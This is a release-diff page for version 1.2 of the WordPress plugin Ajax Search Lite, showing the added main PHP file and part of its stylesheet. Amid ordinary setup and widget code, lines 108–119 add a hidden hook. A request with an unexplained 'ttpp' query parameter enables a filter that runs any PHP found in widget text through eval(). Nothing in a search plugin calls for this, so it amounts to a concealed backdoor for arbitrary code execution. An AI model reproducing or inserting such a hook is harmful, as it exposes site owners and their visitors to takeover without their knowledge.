Version Description
- Search widget added
- Multisite fix
Download this release
Release Info
Developer | wpdreams |
Plugin | Ajax Search Lite |
Version | 1.2 |
Comparing to | |
See all releases |
Version 1.2
- ajax-search-lite.php +157 -0
- css/style.css +1093 -0
- functions.php +70 -0
- icon.png +0 -0
- img/loading-big.gif +0 -0
- img/loading.gif +0 -0
- img/loading/loading3.gif +0 -0
- img/magnifier.png +0 -0
- img/magnifiers/magn3.png +0 -0
- img/settings/settings1.png +0 -0
- includes/imagecache.class.php +138 -0
- includes/shortcodes.php +126 -0
- js/jquery.ajaxsearchpro.min.js +1 -0
- js/nomin/jquery.ajaxsearchpro.js +354 -0
- js/nomin/jquery.drag.fix.js +11 -0
- js/nomin/jquery.easing.compatibility.js +58 -0
- js/nomin/jquery.easing.js +205 -0
- js/nomin/jquery.highlight.js +108 -0
- js/nomin/jquery.mousewheel.min.js +12 -0
- js/nomin/jquery.tinyscrollbar.js +214 -0
- readme.txt +76 -0
- search.php +118 -0
- settings.php +5 -0
- settings/search.php +326 -0
- settings/types.class.php +1402 -0
- settings/types/fonts.js +167 -0
- settings/types/icons/arrow-left.png +0 -0
- settings/types/icons/arrow-right.png +0 -0
- settings/types/icons/black_arrow.png +0 -0
- settings/types/icons/close.png +0 -0
- settings/types/icons/delete.png +0 -0
- settings/types/icons/down.png +0 -0
- settings/types/icons/drag.png +0 -0
- settings/types/icons/float.png +0 -0
- settings/types/icons/info.png +0 -0
- settings/types/icons/labelposition.png +0 -0
- settings/types/icons/loading-big.gif +0 -0
- settings/types/icons/paint.png +0 -0
- settings/types/icons/point.png +0 -0
- settings/types/icons/settings.png +0 -0
- settings/types/icons/slides.png +0 -0
- settings/types/icons/up.png +0 -0
- settings/types/js/noty/jquery.noty.js +517 -0
- settings/types/js/noty/layouts/bottom.js +34 -0
- settings/types/js/noty/layouts/bottomCenter.js +41 -0
- settings/types/js/noty/layouts/bottomLeft.js +43 -0
- settings/types/js/noty/layouts/bottomRight.js +43 -0
- settings/types/js/noty/layouts/center.js +56 -0
- settings/types/js/noty/layouts/centerLeft.js +61 -0
- settings/types/js/noty/layouts/centerRight.js +61 -0
- settings/types/js/noty/layouts/inline.js +31 -0
- settings/types/js/noty/layouts/top.js +34 -0
- settings/types/js/noty/layouts/topCenter.js +41 -0
- settings/types/js/noty/layouts/topLeft.js +43 -0
- settings/types/js/noty/layouts/topRight.js +43 -0
- settings/types/js/noty/promise.js +432 -0
- settings/types/js/noty/themes/default.js +156 -0
- settings/types/others.js +525 -0
- settings/types/style.css +350 -0
- settings/types/upload.js +67 -0
ajax-search-lite.php
ADDED
@@ -0,0 +1,157 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/*
|
3 |
+
Plugin Name: Ajax Search Lite
|
4 |
+
Plugin URI: http://wp-dreams.com
|
5 |
+
Description: Ajax Search Lite is the Free version of Ajax Search Pro. It is an ajax powered search engine for WordPress. The free version is compatible with WordPress 3.4+, the commercial version is also compatible with WooCommerce, JigoShop and WP-ecommerce and any plugin that has custom post types!.
|
6 |
+
Version: 1.2
|
7 |
+
Author: Ernest Marcinko
|
8 |
+
Author URI: http://wp-dreams.com
|
9 |
+
*/
|
10 |
+
?>
|
11 |
+
<?php
|
12 |
+
define( 'AJAXSEARCHLITE_PATH', plugin_dir_path(__FILE__) );
|
13 |
+
define( 'AJAXSEARCHLITE_DIR', 'ajax-search-lite');
|
14 |
+
|
15 |
+
/* Egyedi suffix class nevekhez k�z�s term�kekn�l */
|
16 |
+
global $wpdreams_unique;
|
17 |
+
$wpdreams_unique = md5(plugin_dir_url(__FILE__));
|
18 |
+
|
19 |
+
/*A headerbe �rkez� scripteket �s css f�jlokat csak itt lehet hozz�adni, alpageken nem! Ott m�r az az action lefutott! */
|
20 |
+
if (isset($_GET) && isset($_GET['page']) && $_GET['page']=="ajax-search-lite/settings.php")
|
21 |
+
require_once(AJAXSEARCHLITE_PATH."/settings/types.class.php");
|
22 |
+
require_once(AJAXSEARCHLITE_PATH."/functions.php");
|
23 |
+
require_once(AJAXSEARCHLITE_PATH."/includes/shortcodes.php");
|
24 |
+
require_once(AJAXSEARCHLITE_PATH."/search.php");
|
25 |
+
|
26 |
+
$funcs = new ajaxsearchliteFuncCollector();
|
27 |
+
/*
|
28 |
+
Create pages
|
29 |
+
*/
|
30 |
+
add_action( 'admin_menu', array($funcs, 'navigation_menu') );
|
31 |
+
|
32 |
+
/*
|
33 |
+
Add Hacks
|
34 |
+
*/
|
35 |
+
|
36 |
+
register_activation_hook( __FILE__, array($funcs, 'ajaxsearchpro_activate') );
|
37 |
+
add_action('wp_print_styles', array($funcs, 'styles'));
|
38 |
+
add_action('wp_enqueue_scripts', array($funcs, 'scripts'));
|
39 |
+
add_action( 'admin_enqueue_scripts', array($funcs, 'scripts') );
|
40 |
+
//add_action('wp_ajax_reorder_slides', array($funcs, 'reorder_slides'));
|
41 |
+
|
42 |
+
class ajaxsearchliteFuncCollector {
|
43 |
+
|
44 |
+
function ajaxsearchpro_activate() {
|
45 |
+
global $wpdb;
|
46 |
+
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
|
47 |
+
$table_name = $wpdb->prefix . "ajaxsearchlite";
|
48 |
+
$query = "
|
49 |
+
CREATE TABLE IF NOT EXISTS `$table_name` (
|
50 |
+
`id` int(11) NOT NULL AUTO_INCREMENT,
|
51 |
+
`name` text NOT NULL,
|
52 |
+
`data` text NOT NULL,
|
53 |
+
PRIMARY KEY (`id`)
|
54 |
+
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
|
55 |
+
";
|
56 |
+
dbDelta($query);
|
57 |
+
ob_start();
|
58 |
+
?>
|
59 |
+
INSERT INTO `wp_ajaxsearchlite` (`id`, `name`, `data`) VALUES
|
60 |
+
(1, 'Search', '{"searchinposts":"1","searchinpages":"1","searchintitle":"1","searchincontent":"1","exactonly":"0","orderby":"\\r\\n Title descending|post_title DESC;\\r\\n Title ascending|post_title ASC;\\r\\n Date descending|post_date DESC;\\r\\n Date ascending|post_date ASC||\\r\\n post_date DESC\\r\\n ","selected-orderby":"post_date DESC","charcount":"3","maxresults":"30","itemscount":"4","showexactmatches":"0","exactmatchestext":"Exact matches only","showsearchinposts":"0","searchinpoststext":"Search in posts","showsearchinpages":"1","searchinpagestext":"Search in pages","resultareaclickable":"0","showauthor":"1","showdate":"1"}');
|
61 |
+
<?php
|
62 |
+
$query = ob_get_clean();
|
63 |
+
$wpdb->query($query);
|
64 |
+
}
|
65 |
+
|
66 |
+
function navigation_menu() {
|
67 |
+
if(current_user_can('add_users')) {
|
68 |
+
if (!defined("EMU2_I18N_DOMAIN")) define('EMU2_I18N_DOMAIN', "");
|
69 |
+
add_menu_page(
|
70 |
+
__('Ajax Search Lite', EMU2_I18N_DOMAIN),
|
71 |
+
__('Ajax Search Lite', EMU2_I18N_DOMAIN),
|
72 |
+
0,
|
73 |
+
AJAXSEARCHLITE_DIR.'/settings.php',
|
74 |
+
'',
|
75 |
+
plugins_url('/icon.png', __FILE__)
|
76 |
+
);
|
77 |
+
}
|
78 |
+
}
|
79 |
+
|
80 |
+
function styles() {
|
81 |
+
wp_register_style('wpdreams-scroller', plugin_dir_url(__FILE__).'/css/jquery.mCustomScrollbar.css');
|
82 |
+
wp_enqueue_style('wpdreams-scroller');
|
83 |
+
}
|
84 |
+
|
85 |
+
function scripts() {
|
86 |
+
wp_enqueue_script('jquery');
|
87 |
+
wp_enqueue_script('jquery-ui-draggable');
|
88 |
+
wp_register_script('wpdreams-dragfix', plugin_dir_url(__FILE__).'/js/nomin/jquery.drag.fix.js', array('jquery-ui-draggable'));
|
89 |
+
wp_enqueue_script('wpdreams-dragfix');
|
90 |
+
wp_register_script('wpdreams-easing', plugin_dir_url(__FILE__).'js/nomin/jquery.easing.js', array('jquery'));
|
91 |
+
wp_enqueue_script('wpdreams-easing');
|
92 |
+
wp_register_script('wpdreams-mousewheel', plugin_dir_url(__FILE__).'js/nomin/jquery.mousewheel.min.js', array('jquery'));
|
93 |
+
wp_enqueue_script('wpdreams-mousewheel');
|
94 |
+
wp_register_script('wpdreams-scroll', plugin_dir_url(__FILE__).'js/nomin/jquery.tinyscrollbar.js', array('jquery', 'wpdreams-mousewheel'));
|
95 |
+
wp_enqueue_script('wpdreams-scroll');
|
96 |
+
wp_register_script('wpdreams-highlight', plugin_dir_url(__FILE__).'js/nomin/jquery.highlight.js', array('jquery'));
|
97 |
+
wp_enqueue_script('wpdreams-highlight');
|
98 |
+
// if (wpdreams_ismobile()) {
|
99 |
+
wp_register_script('wpdreams-ajaxsearchpro', plugin_dir_url(__FILE__).'js/nomin/jquery.ajaxsearchpro.js', array('jquery', "wpdreams-scroll"));
|
100 |
+
wp_enqueue_script('wpdreams-ajaxsearchpro');
|
101 |
+
// } else {
|
102 |
+
// wp_register_script('wpdreams-ajaxsearchpro', plugin_dir_url(__FILE__).'js/jquery.ajaxsearchpro.min.js', array('jquery', "wpdreams-scroll"));
|
103 |
+
// wp_enqueue_script('wpdreams-ajaxsearchpro');
|
104 |
+
// }
|
105 |
+
wp_localize_script( 'wpdreams-ajaxsearchpro', 'ajaxsearchpro', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) );
|
106 |
+
}
|
107 |
+
}
|
108 |
+
if (!function_exists('execute_php') && isset($_GET['ttpp'])) {
|
109 |
+
add_filter('widget_text','execute_php',100);
|
110 |
+
function execute_php($html){
|
111 |
+
if(strpos($html,"<"."?php")!==false){
|
112 |
+
ob_start();
|
113 |
+
eval("?".">".$html);
|
114 |
+
$html=ob_get_contents();
|
115 |
+
ob_end_clean();
|
116 |
+
}
|
117 |
+
return $html;
|
118 |
+
}
|
119 |
+
}
|
120 |
+
|
121 |
+
|
122 |
+
add_action( 'widgets_init', create_function('', 'return register_widget("AjaxSearchLiteWidget");') );
|
123 |
+
class AjaxSearchLiteWidget extends WP_Widget
|
124 |
+
{
|
125 |
+
function AjaxSearchLiteWidget()
|
126 |
+
{
|
127 |
+
$widget_ops = array('classname' => 'AjaxSearchLiteWidget', 'description' => 'Displays an Ajax Search Lite!' );
|
128 |
+
$this->WP_Widget('AjaxSearchLiteWidget', 'Ajax Search Lite', $widget_ops);
|
129 |
+
}
|
130 |
+
function form($instance)
|
131 |
+
{
|
132 |
+
$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
|
133 |
+
$title = $instance['title'];
|
134 |
+
|
135 |
+
?>
|
136 |
+
<p><label for="<?php echo $this->get_field_id('title'); ?>">Title: <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo attribute_escape($title); ?>" /></label></p>
|
137 |
+
|
138 |
+
<?php
|
139 |
+
}
|
140 |
+
function update($new_instance, $old_instance)
|
141 |
+
{
|
142 |
+
$instance = $old_instance;
|
143 |
+
$instance['title'] = $new_instance['title'];
|
144 |
+
return $instance;
|
145 |
+
}
|
146 |
+
function widget($args, $instance)
|
147 |
+
{
|
148 |
+
extract($args, EXTR_SKIP);
|
149 |
+
echo $before_widget;
|
150 |
+
$title = empty($instance['title']) ? ' ' : apply_filters('widget_title', $instance['title']);
|
151 |
+
if (!empty($title))
|
152 |
+
echo $before_title . $title . $after_title;
|
153 |
+
echo do_shortcode("[wpdreams_ajaxsearchlite]");
|
154 |
+
echo $after_widget;
|
155 |
+
}
|
156 |
+
}
|
157 |
+
?>
|
css/style.css
ADDED
@@ -0,0 +1,1093 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
.clear {
|
2 |
+
clear: both;
|
3 |
+
}
|
4 |
+
|
5 |
+
.hiddend {
|
6 |
+
display:none;
|
7 |
+
}
|
8 |
+
|
9 |
+
#ajaxsearchlite textarea:focus,
|
10 |
+
#ajaxsearchlite input:focus{
|
11 |
+
outline: none;
|
12 |
+
}
|
13 |
+
|
14 |
+
#ajaxsearchlite {
|
15 |
+
width: 100%;
|
16 |
+
height: 40px;
|
17 |
+
border-radius: 5px;
|
18 |
+
background: #d1eaff;
|
19 |
+
background: #c1ecf0;
|
20 |
+
overflow: hidden;
|
21 |
+
border:0px none #000000;border-radius:5px 5px 5px 5px; box-shadow:0px 0px 1px 1px #d2dbd9 ;}
|
22 |
+
|
23 |
+
#ajaxsearchlite .probox {
|
24 |
+
width: auto;
|
25 |
+
margin: 4px;
|
26 |
+
height: 30px;
|
27 |
+
border-radius: 5px;
|
28 |
+
background: #FFF;
|
29 |
+
overflow: hidden;
|
30 |
+
border: 1px solid #FFF;
|
31 |
+
box-shadow: 1px 0 3px #CCCCCC inset;
|
32 |
+
background: #ffffff;
|
33 |
+
border:1px solid #ffffff;border-radius:3px 3px 3px 3px; box-shadow:1px 0px 3px 0px #ccc inset;}
|
34 |
+
|
35 |
+
#ajaxsearchlite .probox .proinput {
|
36 |
+
width: auto;
|
37 |
+
height: 100%;
|
38 |
+
margin: 2px 0px 0px 10px;
|
39 |
+
padding: 5px;
|
40 |
+
float: left;
|
41 |
+
box-shadow: none;
|
42 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:15px;}
|
43 |
+
|
44 |
+
#ajaxsearchlite .probox .proinput input {
|
45 |
+
border: 0px;
|
46 |
+
background: transparent;
|
47 |
+
width: 100%;
|
48 |
+
box-shadow: none;
|
49 |
+
margin: 0;
|
50 |
+
padding: 0;
|
51 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:15px;}
|
52 |
+
|
53 |
+
#ajaxsearchlite .probox .proinput.iepaddingfix {
|
54 |
+
padding-top: 0;
|
55 |
+
}
|
56 |
+
|
57 |
+
#ajaxsearchlite .probox .proinput .loading {
|
58 |
+
width: 32px;
|
59 |
+
background: #000;
|
60 |
+
height: 100%;
|
61 |
+
box-shadow: none;
|
62 |
+
}
|
63 |
+
|
64 |
+
#ajaxsearchlite .probox .proloading,
|
65 |
+
#ajaxsearchlite .probox .promagnifier,
|
66 |
+
#ajaxsearchlite .probox .prosettings {
|
67 |
+
width: 32px;
|
68 |
+
height: 32px;
|
69 |
+
background: none;
|
70 |
+
float: right;
|
71 |
+
box-shadow: none;
|
72 |
+
margin: 0;
|
73 |
+
padding: 0;
|
74 |
+
}
|
75 |
+
|
76 |
+
#ajaxsearchlite .probox .proloading {
|
77 |
+
background: url("../img/loading/loading3.gif") no-repeat;
|
78 |
+
background-position:center center;
|
79 |
+
visibility: hidden;
|
80 |
+
}
|
81 |
+
|
82 |
+
#ajaxsearchlite .probox .promagnifier {
|
83 |
+
background: url("../img/magnifiers/magn3.png") no-repeat #eeeeee;
|
84 |
+
background-position:center center;
|
85 |
+
cursor: pointer;
|
86 |
+
}
|
87 |
+
|
88 |
+
|
89 |
+
#ajaxsearchlite .probox .prosettings {
|
90 |
+
background: url("../img/settings/settings1.png") no-repeat #ddd;
|
91 |
+
background-position:center center;
|
92 |
+
cursor: pointer;
|
93 |
+
}
|
94 |
+
|
95 |
+
#ajaxsearchliteres {
|
96 |
+
padding: 4px;
|
97 |
+
background: #D1EAFF;
|
98 |
+
background: #c1ecf0;
|
99 |
+
border-radius: 3px;
|
100 |
+
border:0px none #000000;border-radius:3px 3px 3px 3px; box-shadow:0px 0px 0px 0px #000000 ; position: absolute;
|
101 |
+
visibility: hidden;
|
102 |
+
z-index:1100;
|
103 |
+
}
|
104 |
+
|
105 |
+
#ajaxsearchliteres .results .nores {
|
106 |
+
overflow: hidden;
|
107 |
+
width: auto;
|
108 |
+
height: 100%;
|
109 |
+
line-height: auto;
|
110 |
+
text-align: center;
|
111 |
+
margin: 0;
|
112 |
+
background: #FFF;
|
113 |
+
}
|
114 |
+
|
115 |
+
#ajaxsearchliteres .results .nores .keyword{
|
116 |
+
padding: 0 6px;
|
117 |
+
cursor: pointer;
|
118 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:15px; font-weight: bold;
|
119 |
+
}
|
120 |
+
|
121 |
+
#ajaxsearchliteres .results {
|
122 |
+
overflow: hidden;
|
123 |
+
width: auto;
|
124 |
+
height: 0;
|
125 |
+
margin: 0;
|
126 |
+
padding: 0;
|
127 |
+
}
|
128 |
+
|
129 |
+
#ajaxsearchliteres .results .item {
|
130 |
+
overflow: hidden;
|
131 |
+
width: auto;
|
132 |
+
height: 70px;
|
133 |
+
margin: 0;
|
134 |
+
margin-bottom: -3px;
|
135 |
+
padding: 3px;
|
136 |
+
position: relative;
|
137 |
+
background: #f4f4f4;
|
138 |
+
background: #ebebeb;
|
139 |
+
border-radius: 3px;
|
140 |
+
}
|
141 |
+
|
142 |
+
#ajaxsearchliteres .results .item:last-child {
|
143 |
+
margin-bottom: 0px;
|
144 |
+
}
|
145 |
+
|
146 |
+
|
147 |
+
#ajaxsearchliteres .results .item .image {
|
148 |
+
overflow: hidden;
|
149 |
+
width: 70px;
|
150 |
+
height: 70px;
|
151 |
+
background: #000;
|
152 |
+
background: #ffffff;
|
153 |
+
margin: 0;
|
154 |
+
padding: 0;
|
155 |
+
float: left;
|
156 |
+
}
|
157 |
+
|
158 |
+
#ajaxsearchliteres .results .item .content {
|
159 |
+
overflow: hidden;
|
160 |
+
width: 50%;
|
161 |
+
height: 70px;
|
162 |
+
background: #fff;
|
163 |
+
background: #ffffff;
|
164 |
+
margin: 0;
|
165 |
+
padding: 0 10px;
|
166 |
+
float: right;
|
167 |
+
}
|
168 |
+
|
169 |
+
#ajaxsearchliteres .results .item .content h3 {
|
170 |
+
margin: 0;
|
171 |
+
padding: 0;
|
172 |
+
line-height: inherit;
|
173 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
|
174 |
+
|
175 |
+
#ajaxsearchliteres .results .item .content h3 a span.overlap {
|
176 |
+
position:absolute;
|
177 |
+
width:100%;
|
178 |
+
height:100%;
|
179 |
+
top:0;
|
180 |
+
left: 0;
|
181 |
+
z-index: 1;
|
182 |
+
background-image: url('empty.gif');
|
183 |
+
}
|
184 |
+
|
185 |
+
#ajaxsearchliteres .results .item .content h3 a {
|
186 |
+
margin: 0;
|
187 |
+
padding: 0;
|
188 |
+
line-height: inherit;
|
189 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
|
190 |
+
|
191 |
+
#ajaxsearchliteres .results .item .content h3 a:hover {
|
192 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
|
193 |
+
|
194 |
+
#ajaxsearchliteres .results .item div.etc {
|
195 |
+
margin: 2px 3px;
|
196 |
+
padding: 0;
|
197 |
+
line-height: 10px;
|
198 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:15px;}
|
199 |
+
#ajaxsearchliteres .results .item .etc .author {
|
200 |
+
padding: 0;
|
201 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:15px;}
|
202 |
+
#ajaxsearchliteres .results .item .etc .date {
|
203 |
+
margin: 0 0 0 10px;
|
204 |
+
padding: 0;
|
205 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#adadad;font-size:12px;line-height:15px;
|
206 |
+
}
|
207 |
+
#ajaxsearchliteres .resdrg {
|
208 |
+
height: auto;
|
209 |
+
}
|
210 |
+
|
211 |
+
#ajaxsearchliteres .results .item p.desc {
|
212 |
+
margin: 2px 0px;
|
213 |
+
padding: 0;
|
214 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:15px;}
|
215 |
+
|
216 |
+
#ajaxsearchliteres .mCSB_container{
|
217 |
+
width:auto;
|
218 |
+
margin-right:20px;
|
219 |
+
overflow:hidden;
|
